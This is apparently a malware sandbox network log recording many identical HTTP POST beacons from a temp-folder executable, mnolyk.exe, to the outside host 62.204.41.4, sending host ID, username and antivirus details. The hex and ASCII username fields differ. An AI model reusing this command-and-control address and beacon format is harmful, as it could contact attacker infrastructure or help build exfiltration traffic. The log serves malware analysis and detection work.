Feb 6, 2023 18:38:32.224802017 CET	1029	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:32.290158987 CET	1029	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.7	49782	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:11.473355055 CET	495	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:11.537575960 CET	496	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
570	192.168.2.7	50298	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:32.460706949 CET	1030	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:32.526222944 CET	1030	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
571	192.168.2.7	50299	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:32.713859081 CET	1031	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:32.777806044 CET	1031	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
572	192.168.2.7	50300	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:32.957645893 CET	1032	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:33.021564960 CET	1032	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
573	192.168.2.7	50301	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:33.190298080 CET	1033	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:33.258894920 CET	1033	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
574	192.168.2.7	50302	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:33.426502943 CET	1034	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:33.490863085 CET	1034	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
575	192.168.2.7	50303	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:33.662983894 CET	1035	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:33.727881908 CET	1035	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
576	192.168.2.7	50304	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:33.925232887 CET	1036	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:33.989304066 CET	1036	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
577	192.168.2.7	50305	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:34.163427114 CET	1037	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:34.229917049 CET	1037	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
578	192.168.2.7	50306	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:34.417912006 CET	1038	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:34.481225967 CET	1038	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
579	192.168.2.7	50307	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:34.659310102 CET	1039	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:34.725996971 CET	1039	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.7	49783	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:11.707389116 CET	496	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:11.770190954 CET	497	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
580	192.168.2.7	50308	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:34.900026083 CET	1040	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:34.966207981 CET	1040	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
581	192.168.2.7	50309	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:35.147885084 CET	1041	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:35.214554071 CET	1041	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
582	192.168.2.7	50310	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:35.397049904 CET	1042	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:35.460278034 CET	1042	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
583	192.168.2.7	50311	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:35.648200989 CET	1043	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:35.711546898 CET	1043	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
584	192.168.2.7	50312	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:35.876032114 CET	1044	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:35.939383030 CET	1044	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
585	192.168.2.7	50313	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:36.114306927 CET	1045	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:36.181561947 CET	1045	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
586	192.168.2.7	50314	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:36.369028091 CET	1046	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:36.434140921 CET	1046	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
587	192.168.2.7	50315	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:36.612364054 CET	1047	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:36.680104017 CET	1047	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
588	192.168.2.7	50316	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:36.846930027 CET	1048	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
